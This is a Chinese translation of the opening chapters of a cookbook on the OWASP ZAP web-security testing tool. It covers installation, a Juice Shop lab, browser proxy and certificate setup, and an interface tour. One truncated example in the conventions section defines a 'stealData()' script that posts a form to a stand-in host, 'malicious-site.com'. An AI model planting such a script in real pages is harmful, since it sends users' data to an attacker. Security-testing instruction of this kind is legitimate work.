ZED-攻击代理-ZAP-秘籍-全-

ZED 攻击代理(ZAP)秘籍(全)

原文:annas-archive.org/md5/5e6314c3b8c8aba93502d674935a9649

译者:飞龙

协议:CC BY-NC-SA 4.0

前言

欢迎来到开放 Web 应用程序安全项目 Zed 攻击代理(OWASP ZAP)的世界,这是一款强大且多功能的 Web 应用程序安全测试工具。OWASP ZAP,即 Zed 攻击代理,是由 开放 Web 应用程序安全项目OWASP)社区开发的开源工具。它于 2010 年首次发布,并且自那时以来,已成为全球最受欢迎和广泛使用的 Web 应用程序安全测试工具之一。

OWASP ZAP 旨在帮助安全专家和黑客识别和利用 Web 应用程序中的漏洞。它既可以用于自动化测试,也可以用于手动测试,是一个多功能工具,可以根据任何组织的需求进行定制。该工具的特点包括易于使用的界面、广泛的内置安全检查以及与其他安全工具的集成能力。

OWASP ZAP 的一个关键优点是它的开源特性。这意味着该工具由 OWASP 社区不断更新和改进,使其成为最全面、最先进的 Web 应用程序安全测试工具之一。此外,背后有一个庞大且活跃的社区,这意味着有大量资源可以帮助用户最大限度地利用该工具。

本书将深入探讨 OWASP ZAP 的功能和能力,提供使用该工具识别和利用 Web 应用程序漏洞的全面指南。无论您是安全专家、开发人员还是黑客,本书都将为您提供有效使用 OWASP ZAP 来保护 Web 应用程序所需的知识和技能。

总之,OWASP ZAP 是一个强大而多功能的工具,任何希望识别和利用 Web 应用程序漏洞的人都可以使用它。凭借其开源特性、活跃的社区和一系列内置安全检查,它是保护 Web 应用程序的绝佳选择。

本书适用对象

OWASP ZAP 主要面向 Web 应用程序安全专家、开发人员、教育工作者和黑客。它是一个强大的工具,可用于识别和利用 Web 应用程序中的漏洞,是任何负责 Web 系统安全的人必不可少的工具。

值得注意的是,虽然 OWASP ZAP 可以用来识别和利用漏洞,但它并非用于执行恶意攻击或未经许可破坏系统。该工具旨在帮助组织识别并修复 Web 应用程序中的漏洞,而不是促进未经授权的访问或其他恶意活动。因此,使用该工具的用户必须理解并遵守道德黑客原则。

本书内容

第一章开始使用 OWASP Zed 攻击代理,向你介绍了 ZAP,它在 OWASP 组织中的维护情况、在渗透测试中的作用,以及如何在各种平台上安装和配置它,设置基本的实验室环境,并使用它进行测试。

第二章浏览用户界面,解释了如何在 ZAP 中定位并使用各种窗口、工具和功能来进行渗透测试,例如设置目标、手动探索应用程序、修改响应以及使用有效载荷测试特定参数。

第三章配置、爬取、扫描与报告,教你如何配置和使用 ZAP 的爬取、扫描和报告功能,了解这些部分如何工作,设置项目设置以评估应用程序,并自定义用户选项以获得个性化体验。

第四章认证与授权测试,向你展示了如何测试和绕过认证与授权机制,包括拦截并使用默认凭证、绕过认证、测试默认凭证、利用目录遍历攻击、提升权限以及测试不安全的直接对象引用。

第五章会话管理测试,教你如何操作控制和维持用户与应用交互状态的机制,涵盖了测试 cookie 属性、跨站请求伪造、利用登出功能和会话劫持等主题。

第六章验证(数据)输入 – 第一部分,探讨了最常见的 Web 应用程序安全漏洞类型,如跨站脚本、HTTP 动词篡改、HTTP 参数污染和 SQL 注入,并介绍了如何使用 ZAP 来利用这些漏洞。

第七章验证(数据)输入 – 第二部分,讨论了 Web 应用程序注入攻击的高级类型,如代码注入、命令注入、服务器端模板注入和服务器端请求伪造,并介绍了如何使用 ZAP 来利用这些攻击。

第八章业务逻辑测试,深入探讨了在多功能动态 Web 应用程序中测试业务逻辑漏洞的非常规方法,包括伪造请求、测试过程时机、测试功能限制、绕过工作流,以及上传包含恶意负载的意外文件类型。

第九章客户端测试,涵盖了客户端测试以及与之相关的攻击场景,例如 DOM 跨站脚本、JavaScript 执行、HTML 注入、URL 重定向攻击、跨域资源共享漏洞和 Web 套接字的利用。

第十章高级攻击技巧,探讨了几种额外的高级攻击方法,例如执行 XXE、Java Web TokenJWT)的利用、Java 反序列化和 Web 缓存投毒。

第十一章与 ZAP 的高级冒险,教你了解 ZAP 具有的其他功能和特性,例如通过本地 API 运行动态扫描、在 CI 流水线中作为动态扫描运行 ZAP,以及集成并使用内置的 OWASP 应用安全带外服务器进行测试。

获取本书最大收益

为了充分利用《Zed Attack Proxy Cookbook》,你应该保持信息更新并利用社区资源。OWASP ZAP 是一个开源工具,不断进行更新和改进,因此保持与最新版本同步非常重要。此外,OWASP 社区非常活跃,提供了许多资源,可以帮助你充分利用该工具。

本书中涵盖的软件/硬件 操作系统要求
Java Windows、macOS 或 Linux
Docker Desktop/Docker Compose Windows、macOS 或 Linux
OWASP Juice-Shop Windows、macOS、Linux 或 Docker
Mutillidae II Windows、macOS 或 Linux
Jenkins Windows、macOS、Linux 或 Docker

如果你使用的是本书的数字版,我们建议你自己输入代码,或者从本书的 GitHub 仓库获取代码(下一节有链接)。这样做有助于避免与复制粘贴代码相关的潜在错误。

此外,使用 ZAP,熟能生巧。ZAP 是一款旨在帮助组织识别和修复其 Web 应用程序漏洞的工具,在 Web 世界中,开发人员设计、构建和实现的各种方法和组合是无穷无尽的。通过实践,了解 Web 应用程序是如何构建的,只会让你成为一个更强大的 Web 应用程序渗透测试员 使用 ZAP

下载示例代码文件

你可以从 GitHub 下载本书的示例代码文件,地址是:github.com/PacktPublishing/Zed-Attack-Proxy-Cookbook。如果代码有更新,将会在 GitHub 仓库中进行更新。

我们还提供了其他来自我们丰富目录的代码捆绑包,包含书籍和视频,地址是:github.com/PacktPublishing/。快来看看吧!

下载彩色图像

我们还提供了一份 PDF 文件,其中包含本书中使用的截图和图表的彩色图像。你可以在这里下载:packt.link/oBhpt

使用的约定

本书中使用了若干文本约定。

文本中的代码:表示文本中的代码字词、数据库表名、文件夹名称、文件名、文件扩展名、路径名、虚拟网址、用户输入和 Twitter 账户名。以下是一个示例:“将下载的 WebStorm-10*.dmg 磁盘映像文件挂载为系统中的另一个磁盘。”

一段代码的设置如下:

 pipeline {
   agent any
   parameters {
          choice(name: "ZAP_SCAN", choices: ["zap-baseline. py", "zap-full-scan.py"], description: "Parameter to choose type of ZAP scan")
string(name: "ENTER_

当我们希望引起你对代码块中特定部分的注意时,相关的行或项目会以粗体显示:

 <script>
    function stealData() {
       var form = document.createElement("form");
       form.setAttribute("method", "post");
       form.setAttribute("action", "http://malicious-site. com");

任何命令行输入或输出如下所示:

 docker pull bkimminich/juice-shop

粗体:表示一个新术语、重要词汇或屏幕上看到的词语。例如,菜单或对话框中的词语通常是 粗体。以下是一个示例:“从 管理 面板中选择 系统信息。”

提示或重要备注

看起来像这样。

章节

本书中有几个标题经常出现(准备工作如何操作…它是如何工作的…还有更多…,以及另见)。

为了提供清晰的操作步骤,可以按照以下方式使用这些章节:

准备工作

本节告诉你在食谱中期望看到什么,并描述如何设置任何软件或进行任何食谱所需的初步设置。

如何操作…

本节包含执行食谱所需的步骤。

它是如何工作的…

本节通常详细解释前一节发生的情况。

还有更多…

本节包含有关该食谱的额外信息,以帮助你更好地理解该食谱。

另见

本节提供指向其他有用信息的链接,供食谱参考。

联系我们

我们始终欢迎读者的反馈。

一般反馈:如果你对本书的任何部分有疑问,请通过电子邮件联系我们:customercare@packtpub.com,并在邮件主题中注明书名。

勘误:尽管我们已经尽力确保内容的准确性,但仍然会有错误发生。如果你发现本书中的错误,我们将非常感激你向我们报告。请访问 www.packtpub.com/support/errata 并填写表格。

盗版:如果你在互联网上发现我们的作品存在任何形式的非法复制,我们将非常感激你提供相关的网址或网站名称。请通过 copyright@packt.com 与我们联系,并附上材料的链接。

如果你有兴趣成为作者:如果你在某个主题上拥有专长,并且有兴趣撰写或为一本书做贡献,请访问 authors.packtpub.com

分享你的想法

阅读完 Zed Attack Proxy Cookbook 后,我们很乐意听到你的想法!请点击这里直接访问该书的亚马逊评论页面并分享你的反馈。

你的评价对我们和技术社区非常重要,将帮助我们确保提供高质量的内容。

下载这本书的免费 PDF 副本

感谢你购买这本书!

你喜欢在路上阅读,但又无法随身携带纸质书吗?你的电子书购买与选择的设备不兼容吗?

别担心,现在购买每本 Packt 书籍时,你将免费获得该书的无 DRM PDF 版本。

在任何地方、任何设备上都能阅读。直接从你最喜欢的技术书籍中搜索、复制并粘贴代码到你的应用程序中。

优惠不仅仅是这些,你还可以每天在收件箱中收到独家的折扣、新闻通讯和精彩的免费内容。

按照以下简单步骤获取福利:

  1. 扫描二维码或访问以下链接

packt.link/free-ebook/9781801817332

  1. 提交你的购买证明

  2. 就是这样!我们会将你的免费 PDF 和其他福利直接发送到你的邮箱。

第一章:开始使用 OWASP Zed Attack Proxy

在本章中,你将学习如何设置 OWASP Zed Attack ProxyZAP)以及我们将在本书中使用的测试环境。我们将介绍运行 ZAP 所需的软件,并展示如何在本地机器上下载和安装它。你还将学习如何安装 Docker 并使用它设置 OWASP Juice Shop,这是我们将在本书中执行实验的环境。

此外,我们将引导你完成下载和安装 ZAP 的过程,ZAP 是我们将在全书中使用的工具。我们还将介绍几种安装 ZAP 的方法,并解释在什么情况下你可能想选择一种方法而不是另一种方法。我们还将介绍如何直接从 JAR 文件安装 Zed Attack Proxy,以及如何使用 Zed Attack Proxy 的 Docker 镜像来安装它。

ZAP 是由 开放网页应用安全项目OWASP)构建和维护的一个开源应用程序。ZAP 专门用于测试网页应用程序的漏洞。ZAP 是一个 中间人MITM)代理应用程序。一旦安装并配置完成,ZAP 就会处于网页应用程序和安全测试人员的浏览器之间,也就是客户端。ZAP 通过拦截并检查发送到网页应用程序或从网页应用程序发送的请求和响应来工作。在拦截后,这些请求和响应可以根据需要进行修改,然后继续传送。

我们将在本书中使用的两个测试环境被许多专业人士用来学习和实践他们的技能。OWASP Juice Shop 是一个本地托管的环境,你将学习如何在你的机器上部署它。你还将使用 PortSwigger Academy 来学习一些更复杂的内容,这些是本地托管环境无法提供的。

本章结束时,你将学会如何设置浏览器以代理 OWASP Juice Shop 和 PortSwigger Academy 的流量。这将是我们用于执行本书中所有不同测试的主要环境。

本章将介绍以下内容:

  • 下载 ZAP

  • 设置测试环境

  • 设置浏览器代理和证书

  • 测试 ZAP 设置

下载 ZAP

在本节中,我们将详细介绍如何在 Windows 和 macOS 上安装 ZAP,并使用适用于 Windows 和 macOS 的跨平台包。我们还将介绍 ZAP 的要求,如何安装 Java,配置浏览器,以及安装证书。此外,我们将介绍如何安装和设置 Docker,设置测试环境,并测试以确保一切如预期工作。

准备工作

为了继续本教程,你需要确保你的笔记本、台式机或所使用的环境具有管理员权限,并且有足够的硬盘空间和内存来运行 ZAP。

操作步骤...

使用任何工具的第一步是下载应用程序。这需要其他几个应用程序才能正确运行和使用。在本教程中,您将学习如何在任何常见操作系统上运行 ZAP 的最佳方法,以及如何安装 Java。

安装 Java

安装 Java 的步骤如下:

  1. 访问 Java 下载页面:java.com/en/download/。点击同意并开始免费下载,如图 1.1所示:

图 1.1 – Java 下载协议

图 1.1 – Java 下载协议

  1. 下载完成后,打开安装程序,并点击安装,如以下截图所示:

图 1.2 – Java 安装提示

图 1.2 – Java 安装提示

这就是如何安装 Java。在接下来的部分,我们将演示根据您的需求安装 ZAP 的几种方法。

在 Windows 上安装 ZAP

在 Windows 上安装 ZAP 的第一步是安装 Java。这是因为 ZAP 依赖于 Java。有关如何安装 Java,请参考前面的安装 Java部分。

要下载适用于 Windows 的安装程序,请执行以下操作:

  1. 访问 ZAP 下载页面:www.zaproxy.org/download/。点击Windows (64) 安装程序Windows (32) 安装程序旁的下载按钮,具体取决于您的计算机处理器。图 1.3显示了此界面:

.

图 1.3 – ZAP Windows 安装程序

图 1.3 – ZAP Windows 安装程序

  1. 下载完安装程序后,打开并点击下一步 >

图 1.4 – ZAP Windows 安装向导

图 1.4 – ZAP Windows 安装向导

  1. 通过勾选我接受协议旁的圆圈并点击下一步 >来接受协议,正如您在图 1.5中看到的:

图 1.5 – ZAP 许可协议

图 1.5 – ZAP 许可协议

  1. 然后,勾选标准安装旁边的圆圈,并点击下一步 >,如以下截图所示:

图 1.6 – 选择安装类型

图 1.6 – 选择安装类型

  1. 在下一页面,点击安装,如图 1.7所示:

图 1.7 – 开始安装

图 1.7 – 开始安装

  1. 点击完成以完成设置。请参见图 1.8查看最终效果:

图 1.8 – 安装完成

图 1.8 – 安装完成

这就是 ZAP Windows 安装的全部内容;接下来的部分将介绍如何在 macOS 上安装 ZAP。

在 macOS 上安装 ZAP

要下载适用于 macOS 的安装程序,请按照以下步骤操作:

  1. 前往 ZAP 官方网站的下载部分,网址是 www.zaproxy.org/download/。点击 下载 按钮旁边的 macOS 安装程序,如以下截图所示:

图 1.9 – ZAP macOS 安装程序

图 1.9 – ZAP macOS 安装程序

  1. 下载完成后,打开安装程序。你可能会遇到一个错误提示,显示 “OWASP ZAP” 无法打开,因为无法验证开发者。 以下截图展示了该错误消息:

图 1.10 – 错误消息

图 1.10 – 错误消息

  1. 在这种情况下,前往 Macintosh 计算机上的 安全性与隐私 设置,导航到 常规,然后点击 仍要打开。让我们看看这些步骤的具体操作:

图 1.11 – macOS 安全性与隐私窗口

图 1.11 – macOS 安全性与隐私窗口

更新设置后,再次点击安装程序以开始安装。

使用跨平台包安装 ZAP

跨平台包是一个 ZIP 文件,包含以 .jar 格式打包的 ZAP、一个 .bat 脚本(适用于 Windows)以及一个 .sh 脚本(适用于基于 Unix 的系统)。这些脚本会在从 .jar 文件运行 ZAP 之前,检查系统的最佳内存选项。然而,跨平台包需要 Java 版本 8 或更高版本才能正常工作。因此,Windows 或 Linux 操作系统上需要安装 Java。有关安装 Java 的说明,请参考 安装 Java 部分。

下载跨平台包的步骤如下:

  1. 前往 ZAP 官方网站的下载部分,网址是 www.zaproxy.org/download/。点击 下载 按钮旁边的 跨平台包,如图所示:

图 1.12 – ZAP 跨平台包

图 1.12 – ZAP 跨平台包

以下截图显示了已解压的文件夹:

图 1.13 – 跨平台下载文件夹

图 1.13 – 跨平台下载文件夹

  1. 在基于 Unix 的操作系统上使用跨平台包时,打开一个新的终端窗口,导航到我们已下载并包含 .jar 文件的文件夹,输入 sh 命令,并在文件名后加上 .sh。在这个例子中,文件名是 zap.sh

  2. 按下 EnterReturn,具体取决于你的键盘布局。运行此命令后,ZAP 将启动:

图 1.14 – 启动 zap.sh

图 1.14 – 启动 zap.sh

在 Windows 计算机上,安装 Java 版本 8 或更高版本后,导航到存储文件的文件夹,双击 .bat 文件(zap.bat)。

安装 Docker

在本书中,我们将使用Docker作为测试环境,本节将帮助你在计算机上安装 Docker,如果你还没有运行它。你需要下载并安装 Docker。你可以访问docs.docker.com/get-docker/并安装与你的计算机兼容的 Docker 版本。

对于 Windows

你需要检查系统要求并决定是否使用WSL 2 后端Hyper-V 后端及 Windows 容器。在确认满足安装要求后,继续安装 Docker,并通过运行docker -v命令来确保它在你的系统上运行,如图 1.15所示。这样,你应该能看到你在计算机上安装的 Docker 环境的版本。

恭喜!你已经安装了 Docker,并准备好在 Docker 上安装 ZAP:

图 1.15 – Windows 上的 Docker 版本

图 1.15 – Windows 上的 Docker 版本

对于 macOS

在苹果计算机上安装 Docker 时,你需要确保根据你的 Mac 是否使用 Intel 芯片或 Apple 芯片来安装正确的版本。安装适合你计算机的版本后,你可以通过在终端上运行docker -v命令来测试它,如图 1.16所示。现在你已经安装了 Docker,并准备好安装 ZAP:

图 1.16 – macOS 上的 Docker 版本

图 1.16 – macOS 上的 Docker 版本

另见

还有其他几种在不同平台上安装 ZAP 的方法。请访问www.zaproxy.org/download/了解更多信息。

设置测试环境

在本节中,你将设置在本书每一章中使用的测试环境。我们将一起完成设置 OWASP Juice Shop 和注册 PortSwigger Academy 的过程。

准备就绪

为了准备,我们建议使用常见的浏览器,如 Google Chrome 或 Mozilla Firefox。此外,请确保你具有 root 或管理员权限,以便运行终端(Linux 或 macOS)或命令提示符(Windows)。

如何操作...

接下来的配方将帮助你准备将在本书中使用的测试/实验环境。这些是常用的实验室,易于注册或安装,并且可以免费使用。

OWASP Juice Shop 设置

OWASP Juice Shop 是一个开源的不安全 Web 应用程序,用于培训和学习各种类型的攻击。OWASP Juice Shop 包括 OWASP 的十大漏洞以及在实际中发现的缺陷。你可以在owasp.org/www-project-juice-shop/找到更多关于该项目的信息。为了简化设置,我们将使用 Docker 镜像:

  1. 第一步是在确认 Docker 正在你的机器上运行后,使用终端运行docker pull bkimminich/juice-shop命令,从 Docker Hub 拉取镜像:

图 1.17 – 从 Docker Hub 拉取 Juice Shop 镜像

图 1.17 – 从 Docker Hub 拉取 Juice Shop 镜像

如果一切正常,你将收到一个与图 1.17中截图类似的响应。

  1. 下一步是启动 Docker 镜像。你可以在终端中运行docker run --rm -p 3000:3000 bkimminich/juice-shop命令,如下图所示:

图 1.18 – 启动 Docker 镜像

图 1.18 – 启动 Docker 镜像

  1. Docker 镜像安装完成后,你可以在浏览器中导航到localhost:3000,你将看到 OWASP Juice Shop 应用程序在你的机器上运行。请参考图 1.19,看看它的示例:

图 1.19 – OWASP Juice Shop

图 1.19 – OWASP Juice Shop

  1. 到目前为止,你已经设置好了 OWASP Juice Shop。恭喜你!你已经在计算机上安装了 OWASP Juice Shop。

注册 PortSwigger Academy

PortSwigger Academy 是由Burp Suite的创建者创建的一个免费的网络安全平台。我们将使用他们的实验室环境来测试一些在 OWASP Juice Shop 中找不到的漏洞,并且可以通过简单的环境设置来使用漏洞实验室:

  1. 首先,你需要访问portswigger.net/web-security并注册一个免费账户。

  2. 注册一个免费账户后,你可以登录并访问portswigger.net/web-security/all-labs。你可以在该页面找到 PortSwigger 提供的所有实验室,如图 1.20所示,我们将在本书的过程中使用其中的一些实验室:

图 1.20 – PortSwigger 实验室

图 1.20 – PortSwigger 实验室

现在你已经设置好了两个测试环境,准备在接下来的章节中学习如何使用 OWASP ZAP 识别和测试漏洞。

它是如何工作的...

使用我们描述的测试环境非常重要,以便跟随本书的其余部分和食谱。我们还将使用一些 PortSwigger Academy 的实验室,这些实验室不需要设置复杂的环境和额外的服务器即可进行攻击。

还有更多内容...

也可以使用其他测试环境,如OWASP MutillidaebWAPP,来替代 OWASP Juice Shop。

设置浏览器代理和证书

本节将介绍如何配置 ZAP 使其与浏览器一起运行,并设置 ZAP CA 证书来代理 HTTPS 连接。此外,我们将使用浏览器扩展 FoxyProxy,它提供了一种简单的方法来更改代理配置,并在多个代理之间切换或禁用直接连接。ZAP 代理允许你捕获浏览器发出的所有请求,然后修改或编辑这些请求,以便发现你正在测试的 Web 应用中的漏洞。

准备工作

要继续进行此步骤,你需要具备基本的互联网设置或浏览器网络配置的知识。此外,你需要了解如何浏览浏览器市场以安装扩展程序。

如何操作...

FoxyProxy 允许你轻松更改那些没有简单设置界面来更改代理设置的浏览器的代理配置。你需要按照以下步骤操作:

  1. 打开 Google,搜索 FoxyProxy,然后进入 Chrome 网上应用店,在浏览器中安装插件。进入 Chrome 网上应用店 后,界面应如下图所示,此时可以点击 添加到 Chrome,并按照提示完成插件安装:

图 1.21 – 将 FoxyProxy 添加到 Chrome

图 1.21 – 将 FoxyProxy 添加到 Chrome

  1. 要将扩展程序固定到 Chrome 上,请点击扩展程序图标,然后点击固定图标,如 图 1.22 所示,这样就能将 FoxyProxy 扩展程序固定到浏览器的顶部栏:

图 1.22 – 固定 FoxyProxy

图 1.22 – 固定 FoxyProxy

  1. 接下来,点击 FoxyProxy 图标,点击 选项,如 图 1.23 所示,打开选项设置窗口,在这里我们将设置代理设置:

图 1.23 – 选项按钮

图 1.23 – 选项按钮

  1. 在选项界面中,点击 添加新代理 来为 ZAP 代理设置新的代理配置:

图 1.24 – 添加新代理

图 1.24 – 添加新代理

  1. 代理设置 窗口中,进入 代理详情 标签,将 主机或 IP 地址 字段设置为你的 ZAP 代理配置的值。如 图 1.25 所示,我的 ZAP 代理配置为 IP 地址 127.0.0.1,端口为 8080。然后点击 保存 以保存设置:

图 1.25 – 代理设置

图 1.25 – 代理设置

  1. 要验证设置是否已保存,请点击浏览器中的 FoxyProxy 图标。请注意以下截图,设置中显示 为所有 URL 使用代理 127.0.0.1:8080

图 1.26 – 使用创建的代理

图 1.26 – 使用创建的代理

  1. 最后一步是验证你的代理是否与 ZAP 代理一起正常工作:

图 1.27 – 验证代理正在使用中

图 1.27 – 验证代理正在使用中

CA 证书

在进行 Web 流量拦截之前,您需要将自签名的 ZAP 证书安装到您选择的浏览器的根 CA 颁发机构中。这将防止浏览器将 ZAP 代理标记为恶意,并停留在 浏览器警告 屏幕上。这是因为您没有在浏览器中安装受信任的 CA 证书。本节将重点介绍在 Google Chrome 浏览器中的测试。

要安装 ZAP 证书,请导航到 ZAP 代理,然后进入 工具 > 选项 > 动态 SSL 证书 并保存证书。我们将在下一个截图中查看:

图 1.28 – 动态 SSL 证书标签

图 1.28 – 动态 SSL 证书标签

另一种方法是通过浏览器访问 http://localhost:8080,并点击 HTTPS 警告预防 下的 下载 按钮,如图 1.29所示。这将允许您下载证书:

图 1.29 – 证书下载

图 1.29 – 证书下载

要将 ZAP 证书安装到 Chrome,请按照以下步骤操作:

  1. 通过点击屏幕右上角的三个点,或访问 chrome://settings,并进入 安全性和隐私 页面来打开 Chrome 的 设置 页面。

  2. 点击 管理证书,位于 安全性 下。

  3. 在 macOS 计算机上,点击 文件,然后点击 导入项,选择证书文件,进入 证书 标签页,开始证书安装过程。在 Windows 计算机上,在 预定用途 框中选择 <所有>,进入 受信任的根证书颁发机构 标签,点击 导入,然后点击 下一步。选择证书文件并点击 下一步。在此窗口中,保持默认选项并点击 下一步,然后点击 完成

要将 ZAP CA 安装到 Firefox,请按照以下步骤操作:

  1. 进入偏好设置

  2. 打开 高级 标签。

  3. 打开加密/证书标签页。

  4. 点击 查看证书

  5. 点击受信任的机构标签。

  6. 点击 导入,选择已保存的 owasp_zap_root_ca.cer 文件。

  7. 在向导中,选择信任此证书以识别网站(勾选所有框)。

  8. 完成向导。

工作原理…

准备浏览器和证书将使您能够在应用程序开始测试的当天迅速开始测试,而不是浪费宝贵时间配置网络代理设置或捕获 Web 请求和响应。

测试 ZAP 设置

该操作步骤将帮助排查与 ZAP 的连接问题,并验证每个步骤是否已正确设置。

准备就绪

为了继续此操作步骤,您需要重新启动计算机以确保安装过程完成并且工具正常工作。

如何操作...

为确保 ZAP 已正确设置,请按照以下步骤操作:

  1. 在 Chrome 浏览器中,启动 ZAP,打开扩展菜单,然后双击为所有 URL 使用代理 127.0.0.1:8080选项,如下图所示:

图 1.30 – 选择已创建的代理

图 1.30 – 选择已创建的代理

  1. 访问 google.com。在设置代理并安装证书后首次使用 ZAP 时,您将看到欢迎使用 ZAP HUD消息和/或浏览器窗口右侧和左侧的选项,如下图所示:

图 1.31 – ZAP HUD

图 1.31 – ZAP HUD

它是如何工作的...

设置并测试 OWASP ZAP 是为了帮助您确定其使用和功能中是否存在错误,并确保在测试窗口(开始/停止日期)期间进行评估时能够拥有一个正常工作的干净安装环境。没有什么比在测试的第一天才发现某些功能损坏或无法使用更糟糕的事情了。

第二章:导航界面

本章将介绍 ZAP图形用户界面GUI)的基础知识。这将帮助您更好地理解如何导航 GUI 以及在即将到来的章节中如何找到配置设置。我们将 GUI 分为四个主要部分,便于解释如何导航和使用 GUI。每个部分将描述 ZAP GUI 默认配置的一个部分。

在本章中,我们将介绍以下内容:

  • 持久化会话

  • 菜单栏

  • 工具栏

  • 树形窗口

  • 工作区窗口

  • 信息窗口

  • 底部

  • 编码/解码/哈希对话框

  • 使用模糊测试工具

技术要求

本章内容需要您在计算机上安装OWASP ZAP Proxy。您还需要在您的机器上运行OWASP Juice Shop,并且在接下来的章节中需要能够访问 Juice Shop 来进行相关操作。

持久化会话

在本节中,我们将介绍如何设置 ZAP Proxy 会话持久化。当您在多天进行评估时,这非常有用,因为您可以关闭 ZAP 而不会丢失任何信息。

准备工作

为了能够继续本章的内容,您需要在计算机上安装 ZAP。

如何操作…

在从您选择的主机运行 ZAP 应用程序时,会弹出一个对话框询问您是否要持久化 ZAP 会话。在此对话框中,您将有多个选择,决定如何持久化 ZAP 会话,并将会话文件存储在本地数据库中,以便以后检索。

您可以选择三种持久化方式,并且可以勾选一个复选框来记住您的选择。以下是您的选项:

  • 是的,我想根据当前时间戳持久化此会话并命名:此选项将使用默认的文件名和位置保存会话文件。

  • 是的,我想持久化这个会话,但我想指定名称和位置:此选项允许您重命名文件并选择文件存储的位置。

  • 不,我此时不想持久化此会话:当选择此选项时,文件不会被存储。

  • 记住我的选择,并且不要再询问我:选中此复选框,并与前面三个选项之一一起使用,可以将其设置为默认选择。

让我们在下面的截图中看看它的视觉效果:

图 2.1 – 持久化会话

图 2.1 – 持久化会话

从这里,我们将继续描述顶部菜单栏,以及其中包含的其他菜单、选项和位于主菜单栏下方的顶级工具栏。

工作原理…

持久化会话将允许你保存工作并快速返回已捕获和正在进行的内容。基本上,这就是你如何保存工作的方式。有时,测试是临时的,不需要持久化。其他时候,持久化可能不是你最初想要做的选项,因为捕获一个 Web 应用程序也会开始捕获超出范围的内容,这些内容不会保存到站点树或上下文中。

菜单栏

菜单栏将帮助用户理解一般设置并导航工具以查看、配置和更改设置。

准备就绪

要继续此方案,你需要安装并运行 ZAP。

如何操作…

菜单栏位于 ZAP 应用程序的左上角。它包括文件编辑视图分析报告工具导入在线帮助菜单。我将简要解释每个菜单部分的用途,如 图 2.2 所示:

图 2.2 – 菜单栏设置

图 2.2 – 菜单栏设置

工作原理…

我们将查看以下列表中的每个菜单:

  • 文件:此菜单用于管理 ZAP 会话。在此菜单中,你可以启动会话、继续会话等。

  • 编辑:此菜单允许搜索请求和响应、查找文本、设置强制用户模式和管理 ZAP 的模式。

  • 视图:此菜单提供显示选项和管理标签页的方法。

  • 分析:此菜单包含打开扫描策略管理器的选项,你可以在其中添加、修改、导入、导出或删除扫描策略。

  • 报告:此菜单提供生成报告、导出消息和响应、导出 URL 以及将当前会话与先前保存或导入的会话进行比较的选项。

  • 工具:此菜单包含 ZAP 的工具和选项。

  • 导入:此菜单提供将不同类型的数据文件导入 ZAP 的选项。

  • 在线:此菜单包含 ZAP 在线资源,包括ZAP 市场ZAP 常见问题ZAP 视频

  • 帮助:此菜单提供关于 ZAP 的资源,如支持信息检查更新OWASP ZAP** 用户指南**。

还有更多…

还有许多其他功能,如快捷键,可以帮助你快速导航 OWASP ZAP。利用这些功能可以帮助你更高效地使用工具。

提示

在 Windows 系统上,使用 Alt 键将激活快捷方式到顶部菜单。触发后,菜单中的每个选项都会有下划线的大写字母,表示需要与 Alt 键一起使用的键。例如,要打开文件,使用 Alt + F。要打开帮助,使用 Alt + H,依此类推。然后你可以使用箭头键进行导航,按空格键或 Enter 键选择其他子选项。在 macOS 系统上,使用 Command 键将实现相同功能。

工具栏

在本方案中,我们将介绍 ZAP 代理工具栏及其每个部分的功能。

准备工作

要回顾本教程,您需要在计算机上安装 ZAP,并确保它已启动并运行。

如何操作…

从左到右查看工具栏,您将看到模式下拉菜单,如图 2**.3所示,它允许您更改 ZAP 中的模式:

  • 安全模式将防止您对目标执行任何危险操作。

  • 保护模式下,您将能够对应用程序范围执行危险操作。

  • 标准模式是您可以随意操作的模式,没有工具的任何限制。

  • 我们最后的模式是攻击模式。在此模式下,您将开始扫描任何新增到范围内的目标的漏洞。

图 2.3 – 顶级工具栏中的模式选项

图 2.3 – 顶级工具栏中的模式选项

图 2**.3中的下一组四个图标是允许您保存、修改和编辑目标会话信息的选项。

图 2**.3中的最后一个图标,即齿轮图标,允许您更改 ZAP 代理所有部分的设置。您也可以通过点击工具然后选择选项来访问此设置。我们将在接下来的章节中详细讨论,当我们开始更改和优化每个部分并执行攻击时。

图 2**.4中,您找到的下一组图标,从顶级工具栏从左到右,允许您将 ZAP 代理的主题更改为八种不同的内置模板:

图 2.4 – 顶级工具栏的中间部分

图 2.4 – 顶级工具栏的中间部分

默认设置是扁平光亮模式,但您可以切换到暗模式(扁平暗模式),或使用下拉列表中的任何其他视觉设置,如图 2**.5所示。请记住,任何更改 ZAP 代理外观的设置都可能改变工具中其他设置的位置。在本书中,我们将始终使用默认设置:

图 2.5 – 选择主题

图 2.5 – 选择主题

当我们继续时,工具栏中的下一组图标允许您查看所有标签(标签和灯泡图标),隐藏未固定的标签(带有红色 X 图标的标签),以及显示标签图标并隐藏标签名称(带有绿色方块和字母 T 的标签)。

向右移动,最后七个图标允许您更改 ZAP 代理窗口的布局,并允许您展开站点树窗口、信息窗口或工作区窗口。对于本书,我们将使用默认配置,展开底部半部分的信息窗口,并保持工作区窗口:

图 2.6 – 窗口布局

图 2.6 – 窗口布局

在顶级工具栏的最后一部分(图 2**.7)中,您将看到以下内容:

  • 设置(从左到右)允许您管理附加插件(红色/蓝色/绿色方块)

  • 检查插件更新(带蓝色箭头的闪电符号)

  • 显示/启用字段(灯泡)

  • 设置和自定义断点(绿/红圆圈,线/箭头,右箭头,停车标志和红色 X)

  • 扫描策略管理器(控制面板)

  • 应用强制用户模式(挂锁)

  • 启用 zest 脚本(磁带)

  • 打开用户指南(蓝色问号)

  • 禁用/启用 HUD(绿色雷达)

  • 使用预配置的浏览器代理站点(Firefox 图标)

  • 报告生成(螺旋笔记本)

这些将在后面的章节中进一步详细讨论。

图 2.7 – 顶级工具栏的最后一部分

图 2.7 – 顶级工具栏的最后一部分

工作原理…

工具栏展示了在 OWASP ZAP 中最常用的工具,旨在帮助用户设置和适应,满足不同用户在使用工具进行测试时的偏好。在这里花时间了解和理解可用的选项。

另见

打开帮助菜单并导航到 OWASP ZAP 用户指南以获取更多信息。

快捷键

使用F1快速打开信息指南。

树窗口

在本方案中,我们将讨论 ZAP 代理树窗口及其每个部分的作用。

准备工作

为了能够操作此方案,你需要在计算机上安装 ZAP,并确保它已启动并在运行。

如何操作…

在站点树窗口中,ZAP 会显示你已经访问并且可以测试的站点。ZAP 只能攻击显示的站点。站点树窗口包含两个选项卡:站点选项卡和脚本选项卡(当选择+符号后显示):

图 2.8 – 站点树

图 2.8 – 站点树

站点选项卡

